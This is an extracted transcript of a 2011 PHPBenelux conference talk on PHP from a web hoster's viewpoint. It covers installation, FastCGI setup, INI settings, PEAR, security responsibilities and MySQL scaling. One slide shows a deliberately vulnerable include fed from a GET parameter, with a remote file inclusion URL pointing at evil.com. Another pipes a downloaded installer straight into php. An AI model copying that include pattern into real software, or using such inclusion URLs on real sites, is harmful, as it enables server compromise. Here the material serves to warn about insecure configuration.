Php through the eyes of a hoster phpbnl11

PHP through the eyes of a hosterThijs FerynEvangelist+32 (0)9 218 79 06thijs@combellgroup.comPHPBenelux ConferenceSaturday January 29th 2011Antwerpen, Belgium

Welcome to PHPBNL11

About me I’m the support manager at Combell

About me I used to be I’m the support manager at Combell

About me I’m an Evangelist at Combell

About me I’m a board member at PHPBenelux

I live in the wonderful city of Bruges MPBecker -‐ Bruges by Night hYp://www.ﬂickr.com/photos/galverson2/3715965933

Follow me on TwiYer: @ThijsFeryn Read my blog: hYp://blog.feryn.euGive me feedback: hYp://joind.in/2490

Chapter I : The hoster, a genuine stakeholder in the PHP universe

Stakeholders Customer Development company Endusers MGMT Devs MGMT Design PM Internal Internal IT PM Sales QA Systeam Consultant Hoster PHP community

Stakeholders Somewhere along the road ... Your app needs to be hosted

Goals & mocves Our goals & moEves are the same as yours: • It has to work • It has to perform • It has to scale • It has to be secure • It has to be available

Chapter II: Installacon & conﬁguracon

Installing from sourceserver$ ./configure -‐-‐prefix=/usr/local/php-‐5.2.10 -‐-‐with-‐apxs2=/usr/local/httpd-‐2.2.12/bin/apxs -‐-‐with-‐zlib -‐-‐with-‐curl -‐-‐with-‐gd -‐-‐enable-‐mbstring -‐-‐with-‐mysql -‐-‐with-‐mysqli -‐-‐enable-‐pcntl -‐-‐with-‐pdo-‐mysql -‐-‐with-‐readline -‐-‐enable-‐soap -‐-‐with-‐xsl -‐-‐with-‐mcrypt -‐-‐with-‐mssql -‐-‐with-‐snmp -‐-‐with-‐imap -‐-‐with-‐kerberos -‐-‐with-‐imap-‐ssl -‐-‐with-‐config-‐file-‐path=/etc/php5/ -‐-‐enable-‐sockets -‐-‐with-‐freetype-‐dir -‐-‐with-‐openssl server$ makeserver$ make install

Installing using a package manager (APT/Apctude)Install PHP: server$ apt-‐get install php5Install MySQL library for PHP: server$ apt-‐get install php5-‐mysql

SAPI ... schmapi Mod_php FastCGI CLI Web Apache module gateway -‐ Process Apache process php-‐cgi php ConfiguraEon Apache conf files wrapper on the fly shell user or User Apache user shell user suexec user

FastCGIExample conﬁg:• Apache handler <IfModule mod_fcgid.c> SuexecUserGroup dev dev PHP_Fix_Pathinfo_Enable 1 <Directory /var/www/dev/www/> Options +ExecCGI AllowOverride All AddHandler fcgid-‐script .php FCGIWrapper /var/www/dev/etc/fcgi.wrapper .php Order allow,deny Allow from all </Directory> </IfModule>

FastCGIExample conﬁg:• Wrapper script #!/bin/sh PHPRC=/usr/local/php-‐5.3.1/etc export PHPRC export PHP_FCGI_MAX_REQUESTS=5000 export PHP_FCGI_CHILDREN=8 exec /usr/local/php-‐5.3.1/bin/php-‐cgi

INI seengs: tales of good & evil

INI seengs: tales of good & evilDefining INI seengs:• Php.ini• Ini_set()• “-‐d” • php_value• php_flag• php_admin_value• php_admin_flag

INI seengs: tales of good & evilMemory_limit: Fatal error: Allowed memory size of 16777216 bytes exhausted (tried to allocate 35 bytes)

INI seengs: tales of good & evilSafe_mode & Open_basedir: <IfModule mod_php5.c> php_admin_flag engine on php_admin_flag safe_mode off php_admin_value open_basedir "/var/www/vhosts/ website.com/httpdocs:/tmp" </IfModule>

INI seengs: tales of good & evilAllow_url_fopen: <?php $lang= $_GET[lang]; require("$lang.php");http://domain.ext/index.php?lang=http://evil.com/hack.txt?

Chapter III: Versions & features

PHP 4: End of life, but far from dead

PHP 4: End of life, but far from dead Parse error: syntax error, unexpected T_STRING, expecting T_OLD_FUNCTION or T_FUNCTION or T_VAR or } in test.php on line 4

Developers love bling bling

It HAS to be PHP 5.3.5 !!!

I need ALL PHP extension !!!

I use ALL PHP features !!!

Fruit & vegetables: PEAR & PECL

Fruit & vegetables: PEAR & PECLPEARPHP Extension and ApplicaEon Repository (h#p//pear.php.net) server$ lynx -‐source http://pear.php.net/go-‐pear | php server$ pear install date

Fruit & vegetables: PEAR & PECLPECL (pickle)PHP Extension Community Library (h#p//pecl.php.net) server$ pecl install pecl_http

External frameworks Popular frameworks outside the PHP project

Chapter IV: PHP aYracts a crowd

It’s easy !

That easy ! <?php echo "Hello world!";

It’s cheap !

It’s stable !

Everyone can be a PHP developer

But not everyone has what it takes

Luckily there’s a lot ready-‐to-‐use PHP soware out there

Who you gonna call ?

But when helpers need help ...

They reach out to the PHP community User Group meeEngs Twi^er Blogs Forums PHP.net IRC Conferences

Chapter V: Here be phpirates

Here be phpirates

Fact “The majority of hacking/absue cases are PHP related”

False assumpcons “Open source is evil”“PHP has lots of security vulnerabiliEes and is not mature”

Here be phpiratesThe real issues• Quality of the code• Network & server security• PHP version & conﬁguraEon

Responsibilices

Chapter VI: Scalability

Performance == speed

Scalability == constant speed under increasing load

Scaling up

Scaling out

Developers (some2mes) forget ...

Scaling MySQL

mysql> explain SELECT field1, (SELECT COUNT(*) FROM table2 WHERE field3 = table1.id) FROM table1 WHERE field2 = 1 ORDER BY field4 DESC limit 12,12;*************************** 1. row *************************** id: 1 select_type: PRIMARY table: table1 type: ALLpossible_keys: approved key: approved key_len: NULL ref: NULL rows: 3143 Extra: Using where; Using filesort*************************** 2. row *************************** id: 2 select_type: DEPENDENT SUBQUERY table: table2 type: ALLpossible_keys: NULL key: NULL key_len: NULL ref: NULL rows: 1005 Extra: Using where

mysql> show processlist;+-‐-‐-‐-‐-‐-‐-‐+-‐-‐-‐-‐-‐-‐+-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐+-‐-‐-‐-‐+-‐-‐-‐-‐-‐-‐-‐-‐-‐+-‐-‐-‐-‐-‐-‐+-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐+-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐+| Id | User | Host | db | Command | Time | State | Info |+-‐-‐-‐-‐-‐-‐-‐+-‐-‐-‐-‐-‐-‐+-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐+-‐-‐-‐-‐+-‐-‐-‐-‐-‐-‐-‐-‐-‐+-‐-‐-‐-‐-‐-‐+-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐+-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐+| 63515 | root | localhost | db | Query | 0 | NULL | show processlist || 81763 | root | localhost | db | Sleep | 105 | | NULL || 85187 | root | localhost | db | Query | 0 | Sending data | SELECT data from someTable where field = val || 82701 | root | localhost | db | Query | 0 | Copying to tmp table | SELECT data from someTable where field=val2 || 82709 | root | localhost | db | Query | 0 | Sorting result | SELECT data from someTable where order by field || 82716 | root | localhost | db | Query | 0 | Opening tables | SELECT data from someOtherTable |+-‐-‐-‐-‐-‐-‐-‐+-‐-‐-‐-‐-‐-‐+-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐+-‐-‐-‐-‐+-‐-‐-‐-‐-‐-‐-‐-‐-‐+-‐-‐-‐-‐-‐-‐+-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐+-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐+

Scaling MySQL with replicacon

PHP scalability toolbox

Memcached

Gearman

Varnish

Summary

Summary1.Hosters are a genuine stakeholder in the PHP universe2.PHP is highly flexible & configurable. Hosters have to ensure a decent setup3.PHP has a lot to offer feature-‐wise4.PHP aDracts a crowd and brings a lot of people together from different industries (e.g. hosters)5.Lots of abuse cases are PHP related, but that’s not the fault of PHP itself6.PHP itself doesn’t scale *that* well, but is flexible enough to ensure scalability via extra tools

http://lenacastella.blogspot.com	15
http://lenacastella.blogspot.com.es	4
http://192.168.2.9	1
http://lenacastella.blogspot.fr	1

Php through the eyes of a hoster phpbnl11

by Combell Group on Feb 02, 2011

Accessibility

Categories

Tags

Upload Details

Usage Rights

4 Embeds 21

Statistics

Php through the eyes of a hoster phpbnl11 — Presentation Transcript